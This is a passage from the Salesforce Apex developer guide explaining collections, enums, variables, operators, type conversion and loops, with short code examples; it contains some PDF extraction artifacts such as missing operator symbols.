as strings. The sort order of other more complex data types is described in the chapters covering those data types.
This example shows how to sort a list of strings and verifies that the colors are in ascending order in the list.
List<String> colors = new List<String>{
'Yellow',
'Red',
'Green'};
colors.sort();
System.assertEquals('Green', colors.get(0));
System.assertEquals('Red', colors.get(1));
System.assertEquals('Yellow', colors.get(2));

For the Visualforce SelectOption control, sorting is in ascending order based on the value and label fields. See this next section for the
sequence of comparison steps used for SelectOption.

Default Sort Order for SelectOption

The List.sort method sorts SelectOption elements in ascending order using the value and label fields, and is based on this
comparison sequence.
1. The value field is used for sorting first.
2. If two value fields have the same value or are both empty, the label field is used.
Note that the disabled field is not used for sorting.
For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order.
In this example, a list contains three SelectOption elements. Two elements, United States and Mexico, have the same value field (A).
The List.sort method sorts these two elements based on the label field, and places Mexico before United States, as shown in the
output. The last element in the sorted list is Canada and is sorted on its value field C, which comes after A.
List<SelectOption> options = new List<SelectOption>();
options.add(new SelectOption('A','United States'));
options.add(new SelectOption('C','Canada'));
options.add(new SelectOption('A','Mexico'));
System.debug('Before sorting: ' + options);
options.sort();
System.debug('After sorting: ' + options);

This is the output of the debug statements. It shows the list contents before and after the sort.
DEBUG|Before sorting: (System.SelectOption[value="A", label="United States",
disabled="false"],
System.SelectOption[value="C", label="Canada", disabled="false"],
System.SelectOption[value="A", label="Mexico", disabled="false"])
DEBUG|After sorting: (System.SelectOption[value="A", label="Mexico", disabled="false"],
System.SelectOption[value="A", label="United States", disabled="false"],
System.SelectOption[value="C", label="Canada", disabled="false"])

Data Types and Variables

Sets

Sets
A set is an unordered collection of elements that do not contain any duplicates. Set elements can be of any data typeprimitive types,
collections, sObjects, user-defined types, and built-in Apex types. For example, the following table represents a set of strings, that uses
city names:
'San Francisco'

'New York'

'Paris'

'Tokyo'

Sets can contain collections that can be nested within one another. For example, you can have a set of lists of sets of Integers. A set can
contain up to four levels of nested collections inside it, that is, up to five levels overall.
To declare a set, use the Set keyword followed by the primitive data type name within <> characters. For example:
new Set<String>()

The following are ways to declare and populate a set:

Set<String> s1 = new Set<String>{'a', 'b + c'}; // Defines a new set with two elements
Set<String> s2 = new Set<String>(s1); // Defines a new set that contains the
// elements of the set created in the previous step

To access elements in a set, use the system methods provided by Apex. For example:
Set<Integer> s = new Set<Integer>();
s.add(1);
System.assert(s.contains(1));
s.remove(1);

//
//
//
//

Define
Add an
Assert
Remove

a new set
element to the set
that the set contains an element
the element from the set

For more information, including a complete list of all supported set system methods, see Set Class on page 2313.
Note the following limitations on sets:
Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a set in their declarations (for example,
HashSet or TreeSet). Apex uses a hash structure for all sets.
A set is an unordered collectionyou cant access a set element at a specific index. You can only iterate over set elements.
The iteration order of set elements is deterministic, so you can rely on the order being the same in each subsequent execution of
the same code.

Maps
A map is a collection of key-value pairs where each unique key maps to a single value. Keys and values can be any data typeprimitive
types, collections, sObjects, user-defined types, and built-in Apex types. For example, the following table represents a map of countries
and currencies:
Country (Key)

'United States'

'Japan'

'France'

'England'

'India'

Currency (Value)

'Dollar'

'Yen'

'Euro'

'Pound'

'Rupee'

Map keys and values can contain any collection, and can contain nested collections. For example, you can have a map of Integers to
maps, which, in turn, map Strings to lists. Map keys can contain up to only four levels of nested collections.

Data Types and Variables

Maps

To declare a map, use the Map keyword followed by the data types of the key and the value within <> characters. For example:
Map<String, String> country_currencies = new Map<String, String>();
Map<ID, Set<String>> m = new Map<ID, Set<String>>();

You can use the generic or specific sObject data types with maps (youll learn more about maps with sObjects in a later chapter). You
can also create a generic instance of a map.
As with lists, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the curly braces,
specify the key first, then specify the value for that key using =>. For example:
Map<String, String> MyStrings = new Map<String, String>{'a' => 'b', 'c' =>
'd'.toUpperCase()};

In the first example, the value for the key a is b, and the value for the key c is d.
To access elements in a map, use the Map methods provided by Apex. This example creates a map of integer keys and string values. It
adds two entries, checks for the existence of the first key, retrieves the value for the second entry, and finally gets the set of all keys.
Map<Integer, String> m = new Map<Integer, String>(); // Define a new map
m.put(1, 'First entry');
// Insert a new key-value pair in the map
m.put(2, 'Second entry');
// Insert a new key-value pair in the map
System.assert(m.containsKey(1)); // Assert that the map contains a key
String value = m.get(2);
// Retrieve a value, given a particular key
System.assertEquals('Second entry', value);
Set<Integer> s = m.keySet();
// Return a set that contains all of the keys in the
map

For more information, including a complete list of all supported Map methods, see Map Class on page 2200.

Map Considerations
Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a map in their declarations (for
example, HashMap or TreeMap). Apex uses a hash structure for all maps.
The iteration order of map elements is deterministic. You can rely on the order being the same in each subsequent execution of the
same code. However, we recommend to always access map elements by key.
A map key can hold the null value.
Adding a map entry with a key that matches an existing key in the map overwrites the existing entry with that key with the new
entry.
Map keys of type String are case-sensitive. Two keys that differ only by the case are considered unique and have corresponding
distinct Map entries. Subsequently, the Map methods, including put, get, containsKey, and remove treat these keys as
distinct.
Uniqueness of map keys of user-defined types is determined by the equals and hashCode methods, which you provide in
your classes. Uniqueness of keys of all other non-primitive types, such as sObject keys, is determined by comparing the objects field
values.
A Map object is serializable into JSON only if it uses one of the following data types as a key.
Boolean
Date
DateTime
Decimal
Double

Data Types and Variables

Parameterized Typing

Enum
Id
Integer
Long
String
Time

Parameterized Typing
Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable before that
variable can be used. For example, the following is legal in Apex:
Integer x = 1;

The following is not legal if x has not been defined earlier:

x = 1;

Lists, maps and sets are parameterized in Apex: they take any data type Apex supports for them as an argument. That data type must be
replaced with an actual data type upon construction of the list, map or set. For example:
List<String> myList = new List<String>();

Subtyping with Parameterized Lists

In Apex, if type T is a subtype of U, then List<T> would be a subtype of List<U>. For example, the following is legal:
List<String> slst = new List<String> {'foo', 'bar'};
List<Object> olst = slst;

Enums
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums are typically
used to define a set of possible values that dont otherwise have a numerical order, such as the suit of a card, or a particular season of
the year. Although each value corresponds to a distinct integer value, the enum hides this implementation so that you dont inadvertently
misuse the values, such as using them to perform arithmetic. After you create an enum, variables, method arguments, and return types
can be declared of that type.
Note: Unlike Java, the enum type itself has no constructor syntax.
To define an enum, use the enum keyword in your declaration and use curly braces to demarcate the list of possible values. For example,
the following code creates an enum called Season:
public enum Season {WINTER, SPRING, SUMMER, FALL}

By creating the enum Season, you have also created a new data type called Season. You can use this new data type as you might
any other data type. For example:
Season e = Season.WINTER;
Season m(Integer x, Season e) {

Data Types and Variables

Enums

if (e == Season.SUMMER) return e;
//...
}

You can also define a class as an enum. Note that when you create an enum class you do not use the class keyword in the definition.
public enum MyEnumClass { X, Y }

You can use an enum in any place you can use another data type name. If you define a variable whose type is an enum, any object you
assign to it must be an instance of that enum class.
Any webService methods can use enum types as part of their signature. When this occurs, the associated WSDL file includes
definitions for the enum and its values, which can then be used by the API client.
Apex provides the following system-defined enums:
System.StatusCode
This enum corresponds to the API error code that is exposed in the WSDL document for all API operations. For example:
StatusCode.CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY
StatusCode.INSUFFICIENT_ACCESS_ON_CROSS_REFERENCE_ENTITY

The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file
for your organization, see Downloading Salesforce WSDLs and Client Authentication Certificates in the Salesforce online help.
System.XmlTag:
This enum returns a list of XML tags used for parsing the result XML from a webService method. For more information, see
XmlStreamReader Class.
System.ApplicationReadWriteMode: This enum indicates if an organization is in 5 Minute Upgrade read-only mode
during Salesforce upgrades and downtimes. For more information, see Using the System.ApplicationReadWriteMode
Enum.
System.LoggingLevel:
This enum is used with the system.debug method, to specify the log level for all debug calls. For more information, see System
Class.
System.RoundingMode:
This enum is used by methods that perform mathematical operations to specify the rounding behavior for the operation, such as
the Decimal divide method and the Double round method. For more information, see Rounding Mode.
System.SoapType:
This enum is returned by the field describe result getSoapType method. For more informations, see SOAPType Enum.
System.DisplayType:
This enum is returned by the field describe result getType method. For more information, see DisplayType Enum.
System.JSONToken:
This enum is used for parsing JSON content. For more information, see JSONToken Enum.
ApexPages.Severity:
This enum specifies the severity of a Visualforce message. For more information, see ApexPages.Severity Enum.
Dom.XmlNodeType:

Data Types and Variables

Variables

This enum specifies the node type in a DOM document.

Note: System-defined enums cannot be used in Web service methods.
All enum values, including system enums, have common methods associated with them. For more information, see Enum Methods.
You cannot add user-defined methods to enum values.

Variables
Local variables are declared with Java-style syntax. For example:
Integer i = 0;
String str;
List<String> strList;
Set<String> s;
Map<ID, String> m;

As with Java, multiple variables can be declared and initialized in a single statement, using comma separation. For example:
Integer i, j, k;

Null Variables and Initial Values

If you declare a variable and don't initialize it with a value, it will be null. In essence, null means the absence of a value. You can
also assign null to any variable declared with a primitive type. For example, both of these statements result in a variable set to null:
Boolean x = null;
Decimal d;

Many instance methods on the data type will fail if the variable is null. In this example, the second statement generates an exception
(NullPointerException)
Date d;
d.addDays(2);

All variables are initialized to null if they arent assigned a value. For instance, in the following example, i, and k are assigned values,
while the integer variable j and the boolean variable b are set to null because they arent explicitly initialized.
Integer i = 0, j, k = 1;
Boolean b;

Note: A common pitfall is to assume that an uninitialized boolean variable is initialized to false by the system. This isnt the
case. Like all other variables, boolean variables are null if not assigned a value explicitly.

Variable Scope
Variables can be defined at any point in a block, and take on scope from that point forward. Sub-blocks cant redefine a variable name
that has already been used in a parent block, but parallel blocks can reuse a variable name. For example:
Integer i;
{
// Integer i;

This declaration is not allowed

Data Types and Variables

Constants

}
for (Integer j = 0; j < 10; j++);
for (Integer j = 0; j < 10; j++);

Case Sensitivity
To avoid confusion with case-insensitive SOQL and SOSL queries, Apex is also case-insensitive. This means:
Variable and method names are case-insensitive. For example:
Integer I;
//Integer i;

This would be an error.

References to object and field names are case-insensitive. For example:

Account a1;
ACCOUNT a2;

SOQL and SOSL statements are case- insensitive. For example:

Account[] accts = [sELect ID From ACCouNT where nAme = 'fred'];

Note: Youll learn more about sObjects, SOQL and SOSL later in this guide.
Also note that Apex uses the same filtering semantics as SOQL, which is the basis for comparisons in the SOAP API and the Salesforce
user interface. The use of these semantics can lead to some interesting behavior. For example, if an end-user generates a report based
on a filter for values that come before 'm' in the alphabet (that is, values < 'm'), null fields are returned in the result. The rationale for this
behavior is that users typically think of a field without a value as just a space character, rather than its actual null value. Consequently,
in Apex, the following expressions all evaluate to true:
String s;
System.assert('a' == 'A');
System.assert(s < 'b');
System.assert(!(s > 'b'));

Note: Although s < 'b' evaluates to true in the example above, 'b.'compareTo(s) generates an error because
youre trying to compare a letter to a null value.

Constants
Apex constants are variables whose values dont change after being initialized once.
Constants can be defined using the final keyword, which means that the variable can be assigned at most once, either in the
declaration itself, or with a static initializer method if the constant is defined in a class. This example declares two constants. The first is
initialized in the declaration statement. The second is assigned a value in a static block by calling a static method.
public class myCls {
static final Integer PRIVATE_INT_CONST = 200;
static final Integer PRIVATE_INT_CONST2;
public static Integer calculate() {
return 2 + 7;

Data Types and Variables

Expressions and Operators

}
static {
PRIVATE_INT_CONST2 = calculate();
}
}

For more information, see Using the final Keyword on page 77.

Expressions and Operators

An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value. This section
provides an overview of expressions in Apex and contains the following:
Understanding Expressions
Understanding Expression Operators
Understanding Operator Precedence
Expanding sObject and List Expressions
Using Comments

Understanding Expressions
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value. In Apex, an
expression is always one of the following types:
A literal expression. For example:
1 + 1

A new sObject, Apex object, list, set, or map. For example:

new
new
new
new
new
new
new

Account(<field_initializers>)
Integer[<n>]
Account[]{<elements>}
List<Account>()
Set<String>{}
Map<String, Integer>()
myRenamingClass(string oldName, string newName)

Any value that can act as the left-hand of an assignment operator (L-values), including variables, one-dimensional list positions, and
most sObject or Apex object field references. For example:
Integer i
myList[3]
myContact.name
myRenamingClass.oldName

Any sObject field reference that is not an L-value, including:

The ID of an sObject in a list (see Lists)
A set of child records associated with an sObject (for example, the set of contacts associated with a particular account). This type
of expression yields a query result, much like SOQL and SOSL queries.

Data Types and Variables

Understanding Expression Operators

A SOQL or SOSL query surrounded by square brackets, allowing for on-the-fly evaluation in Apex. For example:
Account[] aa = [SELECT Id, Name FROM Account WHERE Name ='Acme'];
Integer i = [SELECT COUNT() FROM Contact WHERE LastName ='Weissman'];
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
Contact, Opportunity, Lead];

For information, see SOQL and SOSL Queries on page 144.

A static or instance method invocation. For example:
System.assert(true)
myRenamingClass.replaceNames()
changePoint(new Point(x, y));

Understanding Expression Operators

Expressions can also be joined to one another with operators to create compound expressions. Apex supports the following operators:
Operator

Syntax

Description

x = y

Assignment operator (Right associative). Assigns the value of y to the L-value

x. Note that the data type of x must match the data type of y, and cannot be
null.

x += y

Addition assignment operator (Right associative). Adds the value of y to the

original value of x and then reassigns the new value to x. See + for additional
information. x and y cannot be null.

x *= y

Multiplication assignment operator (Right associative). Multiplies the value of

y with the original value of x and then reassigns the new value to x. Note that
x and y must be Integers or Doubles, or a combination. x and y cannot be
null.

x -= y

Subtraction assignment operator (Right associative). Subtracts the value of y

from the original value of x and then reassigns the new value to x. Note that x
and y must be Integers or Doubles, or a combination. x and y cannot be null.

x /= y

Division assignment operator (Right associative). Divides the original value of x

with the value of y and then reassigns the new value to x. Note that x and y
must be Integers or Doubles, or a combination. x and y cannot be null.

x |= y

OR assignment operator (Right associative). If x, a Boolean, and y, a Boolean,

are both false, then x remains false. Otherwise, x is assigned the value of true.
Note:
This operator exhibits short-circuiting behavior, which means y is evaluated
only if x is false.
x and y cannot be null.

Data Types and Variables

Understanding Expression Operators

Operator

Syntax

Description

x &= y

AND assignment operator (Right associative). If x, a Boolean, and y, a Boolean,

are both true, then x remains true. Otherwise, x is assigned the value of false.
Note:
This operator exhibits short-circuiting behavior, which means y is evaluated
only if x is true.
x and y cannot be null.

<<=

x <<= y

Bitwise shift left assignment operator. Shifts each bit in x to the left by y bits
so that the high order bits are lost, and the new right bits are set to 0. This value is
then reassigned to x.

>>=

x >>= y

Bitwise shift right signed assignment operator. Shifts each bit in x to the right
by y bits so that the low order bits are lost, and the new left bits are set to 0 for
positive values of y and 1 for negative values of y. This value is then reassigned to
x.

>>>=

x >>>= y

Bitwise shift right unsigned assignment operator. Shifts each bit in x to the
right by y bits so that the low order bits are lost, and the new left bits are set to 0
for all values of y. This value is then reassigned to x.

? :

x ? y : z

Ternary operator (Right associative). This operator acts as a short-hand for

if-then-else statements. If x, a Boolean, is true, y is the result. Otherwise z is the
result. Note that x cannot be null.

x && y

AND logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both
true, then the expression evaluates to true. Otherwise the expression evaluates to
false.
Note:
&& has precedence over ||
This operator exhibits short-circuiting behavior, which means y is evaluated
only if x is true.
x and y cannot be null.

x || y

OR logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both

false, then the expression evaluates to false. Otherwise the expression evaluates to
true.
Note:
&& has precedence over ||
This operator exhibits short-circuiting behavior, which means y is evaluated
only if x is false.
x and y cannot be null.

Data Types and Variables

Understanding Expression Operators

Operator

Syntax

Description

x == y

Equality operator. If the value of x equals the value of y, the expression evaluates
to true. Otherwise, the expression evaluates to false.
Note:
Unlike Java, == in Apex compares object value equality, not reference equality,
except for user-defined types. Consequently:
String comparison using == is case-insensitive
ID comparison using == is case-sensitive, and does not distinguish between
15-character and 18-character formats
User-defined types are compared by reference, which means that two
objects are equal only if they reference the same location in memory. You
can override this default comparison behavior by providing equals and
hashCode methods in your class to compare object values instead.
For sObjects and sObject arrays, == performs a deep check of all sObject field
values before returning its result. Likewise for collections and built-in Apex
objects.
For records, every field must have the same value for == to evaluate to true.
x or y can be the literal null.
The comparison of any two values can never result in null.
SOQL and SOSL use = for their equality operator, and not ==. Although Apex
and SOQL and SOSL are strongly linked, this unfortunate syntax discrepancy
exists because most modern languages use = for assignment and == for
equality. The designers of Apex deemed it more valuable to maintain this
paradigm than to force developers to learn a new assignment operator. The
result is that Apex developers must use == for equality tests in the main body
of the Apex code, and = for equality in SOQL and SOSL queries.

===

x === y

Exact equality operator. If x and y reference the exact same location in memory,
the expression evaluates to true. Otherwise, the expression evaluates to false.

x < y

Less than operator. If x is less than y, the expression evaluates to true. Otherwise,
the expression evaluates to false.
Note:
Unlike other database stored procedures, Apex does not support tri-state Boolean
logic, and the comparison of any two values can never result in null.
If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
A non-null String or ID value is always greater than a null value.
If x and y are IDs, they must reference the same type of object. Otherwise, a
runtime error results.
If x or y is an ID and the other value is a String, the String value is validated
and treated as an ID.
x and y cannot be Booleans.

Data Types and Variables

Operator

Syntax

Understanding Expression Operators

Description
The comparison of two strings is performed according to the locale of the
context user and is case-insensitive.

x > y

Greater than operator. If x is greater than y, the expression evaluates to true.

Otherwise, the expression evaluates to false.
Note:
The comparison of any two values can never result in null.
If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
A non-null String or ID value is always greater than a null value.
If x and y are IDs, they must reference the same type of object. Otherwise, a
runtime error results.
If x or y is an ID and the other value is a String, the String value is validated
and treated as an ID.
x and y cannot be Booleans.
The comparison of two strings is performed according to the locale of the
context user and is case-insensitive.

x <= y

Less than or equal to operator. If x is less than or equal to y, the expression

evaluates to true. Otherwise, the expression evaluates to false.
Note:
The comparison of any two values can never result in null.
If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
A non-null String or ID value is always greater than a null value.
If x and y are IDs, they must reference the same type of object. Otherwise, a
runtime error results.
If x or y is an ID and the other value is a String, the String value is validated
and treated as an ID.
x and y cannot be Booleans.
The comparison of two strings is performed according to the locale of the
context user and is case-insensitive.

x >= y

Greater than or equal to operator. If x is greater than or equal to y, the

expression evaluates to true. Otherwise, the expression evaluates to false.
Note:
The comparison of any two values can never result in null.
If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
A non-null String or ID value is always greater than a null value.
If x and y are IDs, they must reference the same type of object. Otherwise, a
runtime error results.

Data Types and Variables

Operator

Syntax

Understanding Expression Operators

Description
If x or y is an ID and the other value is a String, the String value is validated
and treated as an ID.
x and y cannot be Booleans.
The comparison of two strings is performed according to the locale of the
context user and is case-insensitive.

x != y

Inequality operator. If the value of x does not equal the value of y, the expression
evaluates to true. Otherwise, the expression evaluates to false.
Note:
String comparison using != is case-insensitive
Unlike Java, != in Apex compares object value equality, not reference equality,
except for user-defined types.
For sObjects and sObject arrays, != performs a deep check of all sObject field
values before returning its result.
For records, != evaluates to true if the records have different values for any
field.
User-defined types are compared by reference, which means that two objects
are different only if they reference different locations in memory. You can
override this default comparison behavior by providing equals and
hashCode methods in your class to compare object values instead.
x or y can be the literal null.
The comparison of any two values can never result in null.

!==

x !== y

Exact inequality operator. If x and y do not reference the exact same location
in memory, the expression evaluates to true. Otherwise, the expression evaluates
to false.

x + y

Addition operator. Adds the value of x to the value of y according to the

following rules:
If x and y are Integers or Doubles, adds the value of x to the value of y. If a
Double is used, the result is a Double.
If x is a Date and y is an Integer, returns a new Date that is incremented by
the specified number of days.
If x is a Datetime and y is an Integer or Double, returns a new Date that is
incremented by the specified number of days, with the fractional portion
corresponding to a portion of a day.
If x is a String and y is a String or any other type of non-null argument,
concatenates y to the end of x.

x - y

Subtraction operator. Subtracts the value of y from the value of x according to

the following rules:
If x and y are Integers or Doubles, subtracts the value of y from the value of
x. If a Double is used, the result is a Double.

Data Types and Variables

Operator

Syntax

Understanding Expression Operators

Description
If x is a Date and y is an Integer, returns a new Date that is decremented by
the specified number of days.
If x is a Datetime and y is an Integer or Double, returns a new Date that is
decremented by the specified number of days, with the fractional portion
corresponding to a portion of a day.

x * y

Multiplication operator. Multiplies x, an Integer or Double, with y, another

Integer or Double. Note that if a double is used, the result is a Double.

x / y

Division operator. Divides x, an Integer or Double, by y, another Integer or Double.

Note that if a double is used, the result is a Double.

Logical complement operator. Inverts the value of a Boolean, so that true becomes
false, and false becomes true.

-x

Unary negation operator. Multiplies the value of x, an Integer or Double, by -1.

Note that the positive equivalent + is also syntactically valid, but does not have a
mathematical effect.

x++

Increment operator. Adds 1 to the value of x, a variable of a numeric type. If

prefixed (++x), the expression evaluates to the value of x after the increment. If
postfixed (x++), the expression evaluates to the value of x before the increment.

++x
--

x---x

Decrement operator. Subtracts 1 from the value of x, a variable of a numeric type.

If prefixed (--x), the expression evaluates to the value of x after the decrement. If
postfixed (x--), the expression evaluates to the value of x before the decrement.

x & y

Bitwise AND operator. ANDs each bit in x with the corresponding bit in y so
that the result bit is set to 1 if both of the bits are set to 1. This operator is not valid
for types Long or Integer.

x | y

Bitwise OR operator. ORs each bit in x with the corresponding bit in y so that
the result bit is set to 1 if at least one of the bits is set to 1. This operator is not valid
for types Long or Integer.

x ^ y

Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding
bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the
other bit is set to 0.

x ^= y

Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding
bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the
other bit is set to 0. Assigns the result of the exclusive OR operation to x.

x << y

Bitwise shift left operator. Shifts each bit in x to the left by y bits so that the
high order bits are lost, and the new right bits are set to 0.

x >> y

Bitwise shift right signed operator. Shifts each bit in x to the right by y bits so
that the low order bits are lost, and the new left bits are set to 0 for positive values
of y and 1 for negative values of y.

Data Types and Variables

Understanding Operator Precedence

Operator

Syntax

Description

>>>

x >>> y

Bitwise shift right unsigned operator. Shifts each bit in x to the right by y bits
so that the low order bits are lost, and the new left bits are set to 0 for all values of
y.

()

(x)

Parentheses. Elevates the precedence of an expression x so that it is evaluated

first in a compound expression.

Understanding Operator Precedence

Apex uses the following operator precedence rules:
Precedence

Operators

Description

{} () ++ --

Grouping and prefix increments and decrements

! -x +x (type) new

Unary negation, type cast and object creation

* /

Multiplication and division

+ -

Addition and subtraction

< <= > >= instanceof

Greater-than and less-than comparisons, reference tests

== !=

Comparisons: equal and not-equal

Logical AND

Logical OR

= += -= *= /= &=

Assignment operators

Using Comments
Both single and multiline comments are supported in Apex code:
To create a single line comment, use //. All characters on the same line to the right of the // are ignored by the parser. For example:
Integer i = 1; // This comment is ignored by the parser

To create a multiline comment, use /* and */ to demarcate the beginning and end of the comment block. For example:
Integer i = 1; /* This comment can wrap over multiple
lines without getting interpreted by the
parser. */

Data Types and Variables

Assignment Statements

Assignment Statements
An assignment statement is any statement that places a value into a variable, generally in one of the following two forms:
[LValue] = [new_value_expression];
[LValue] = [[inline_soql_query]];

In the forms above, [LValue] stands for any expression that can be placed on the left side of an assignment operator. These include:
A simple variable. For example:
Integer i = 1;
Account a = new Account();
Account[] accts = [SELECT Id FROM Account];

A de-referenced list element. For example:

ints[0] = 1;
accts[0].Name = 'Acme';

An sObject field reference that the context user has permission to edit. For example:
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
// IDs cannot be set prior to an insert call
// a.Id = '00300000003T2PGAA0';
// Instead, insert the record. The system automatically assigns it an ID.
insert a;
// Fields also must be writable for the context user
// a.CreatedDate = System.today(); This code is invalid because
//
createdDate is read-only!
// Since the account a has been inserted, it is now possible to
// create a new contact that is related to it
Contact c = new Contact(LastName = 'Roth', Account = a);
// Notice that you can write to the account name directly through the contact
c.Account.Name = 'salesforce.com';

Assignment is always done by reference. For example:

Account a = new Account();
Account b;
Account[] c = new Account[]{};
a.Name = 'Acme';
b = a;
c.add(a);
// These asserts should now be true. You can reference the data
// originally allocated to account a through account b and account list c.
System.assertEquals(b.Name, 'Acme');
System.assertEquals(c[0].Name, 'Acme');

Data Types and Variables

Understanding Rules of Conversion

Similarly, two lists can point at the same value in memory. For example:
Account[] a = new Account[]{new Account()};
Account[] b = a;
a[0].Name = 'Acme';
System.assert(b[0].Name == 'Acme');

In addition to =, other valid assignment operators include +=, *=, /=, |=, &=, ++, and --. See Understanding Expression Operators
on page 40.

Understanding Rules of Conversion

In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type cannot be
implicitly converted to a String. You must use the string.format method. However, a few data types can be implicitly converted,
without using a method.
Numbers form a hierarchy of types. Variables of lower numeric types can always be assigned to higher types without explicit conversion.
The following is the hierarchy for numbers, from lowest to highest:
1. Integer
2. Long
3. Double
4. Decimal
Note: Once a value has been passed from a number of a lower type to a number of a higher type, the value is converted to the
higher type of number.
Note that the hierarchy and implicit conversion is unlike the Java hierarchy of numbers, where the base interface number is used and
implicit object conversion is never allowed.
In addition to numbers, other data types can be implicitly converted. The following rules apply:
IDs can always be assigned to Strings.
Strings can be assigned to IDs. However, at runtime, the value is checked to ensure that it is a legitimate ID. If it is not, a runtime
exception is thrown.
The instanceOf keyword can always be used to test whether a string is an ID.

Additional Considerations for Data Types

Data Types of Numeric Values
Numeric values represent Integer values unless they are appended with L for a Long or with .0 for a Double or Decimal. For example,
the expression Long d = 123; declares a Long variable named d and assigns it to an Integer numeric value (123), which is
implicitly converted to a Long. The Integer value on the right hand side is within the range for Integers and the assignment succeeds.
However, if the numeric value on the right hand side exceeds the maximum value for an Integer, you get a compilation error. In this
case, the solution is to append L to the numeric value so that it represents a Long value which has a wider range, as shown in this
example: Long d = 2147483648L;.
Overflow of Data Type Values
Arithmetic computations that produce values larger than the maximum value of the current type are said to overflow. For example,
Integer i = 2147483647 + 1; yields a value of 2147483648 because 2147483647 is the maximum value for an Integer,
so adding one to it wraps the value around to the minimum negative value for Integers, 2147483648.

Data Types and Variables

Understanding Rules of Conversion

If arithmetic computations generate results larger than the maximum value for the current type, the end result will be incorrect
because the computed values that are larger than the maximum will overflow. For example, the expression Long MillsPerYear
= 365 * 24 * 60 * 60 * 1000; results in an incorrect result because the products of Integers on the right hand side
are larger than the maximum Integer value and they overflow. As a result, the final product isn't the expected one. You can avoid
this by ensuring that the type of numeric values or variables you are using in arithmetic operations are large enough to hold the
results. In this example, append L to numeric values to make them Long so the intermediate products will be Long as well and no
overflow occurs. The following example shows how to correctly compute the amount of milliseconds in a year by multiplying Long
numeric values.
Long MillsPerYear = 365L * 24L * 60L * 60L * 1000L;
Long ExpectedValue = 31536000000L;
System.assertEquals(MillsPerYear, ExpectedValue);

Loss of Fractions in Divisions

When dividing numeric Integer or Long values, the fractional portion of the result, if any, is removed before performing any implicit
conversions to a Double or Decimal. For example, Double d = 5/3; returns 1.0 because the actual result (1.666...) is an Integer
and is rounded to 1 before being implicitly converted to a Double. To preserve the fractional value, ensure that you are using Double
or Decimal numeric values in the division. For example, Double d = 5.0/3.0; returns 1.6666666666666667 because 5.0
and 3.0 represent Double values, which results in the quotient being a Double as well and no fractional value is lost.

CHAPTER 5
In this chapter ...

Conditional (If-Else)
Statements

Loops

Control Flow Statements

Apex provides statements that control the flow of code execution.
Statements are generally executed line by line, in the order they appear. With control flow statements,
you can cause Apex code to execute based on a certain condition or you can have a block of code
execute repeatedly. This section describes these control flow statements: if-else statements and loops.

Control Flow Statements

Conditional (If-Else) Statements

The conditional statement in Apex works similarly to Java:
if ([Boolean_condition])
// Statement 1
else
// Statement 2

The else portion is always optional, and always groups with the closest if. For example:
Integer x, sign;
// Your code
if (x <= 0) if (x == 0) sign = 0; else sign = -1;

is equivalent to:
Integer x, sign;
// Your code
if (x <= 0) {
if (x == 0) {
sign = 0;
} else {
sign = -1;
}
}

Repeated else if statements are also allowed. For example:

if (place == 1) {
medal_color = 'gold';
} else if (place == 2) {
medal_color = 'silver';
} else if (place == 3) {
medal_color = 'bronze';
} else {
medal_color = null;
}

Loops
Apex supports the following five types of procedural loops:
do {statement} while (Boolean_condition);
while (Boolean_condition) statement;
for (initialization; Boolean_exit_condition; increment) statement;
for (variable : array_or_set) statement;
for (variable : [inline_soql_query]) statement;
All loops allow for loop control structures:
break; exits the entire loop
continue; skips to the next iteration of the loop

Control Flow Statements

Do-While Loops

Do-While Loops
The Apex do-while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
do {

code_block
} while (condition);

Note: Curly braces ({}) are always required around a code_block.

As in Java, the Apex do-while loop does not check the Boolean condition statement until after the first loop is executed. Consequently,
the code block always runs at least once.
As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;
do {
System.debug(count);
count++;
} while (count < 11);

While Loops
The Apex while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
while (condition) {

code_block
}

Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.
Unlike do-while, the while loop checks the Boolean condition statement before the first loop is executed. Consequently, it is
possible for the code block to never execute.
As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;
while (count < 11) {
System.debug(count);
count++;
}

For Loops
Apex supports three variations of the for loop:
The traditional for loop:
for (init_stmt; exit_condition; increment_stmt) {

code_block
}

Control Flow Statements

For Loops

The list or set iteration for loop:

for (variable : list_or_set) {

code_block
}

where variable must be of the same primitive or sObject type as list_or_set.

The SOQL for loop:
for (variable : [soql_query]) {

code_block
}

or
for (variable_list : [soql_query]) {

code_block
}

Both variable and variable_list must be of the same sObject type as is returned by the soql_query.
Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.
Each is discussed further in the sections that follow.

Traditional For Loops

The traditional for loop in Apex corresponds to the traditional syntax used in Java and other languages. Its syntax is:
for (init_stmt; exit_condition; increment_stmt) {

code_block
}

When executing this type of for loop, the Apex runtime engine performs the following steps, in order:
1. Execute the init_stmt component of the loop. Note that multiple variables can be declared and/or initialized in this statement.
2. Perform the exit_condition check. If true, the loop continues. If false, the loop exits.
3. Execute the code_block.
4. Execute the increment_stmt statement.
5. Return to Step 2.
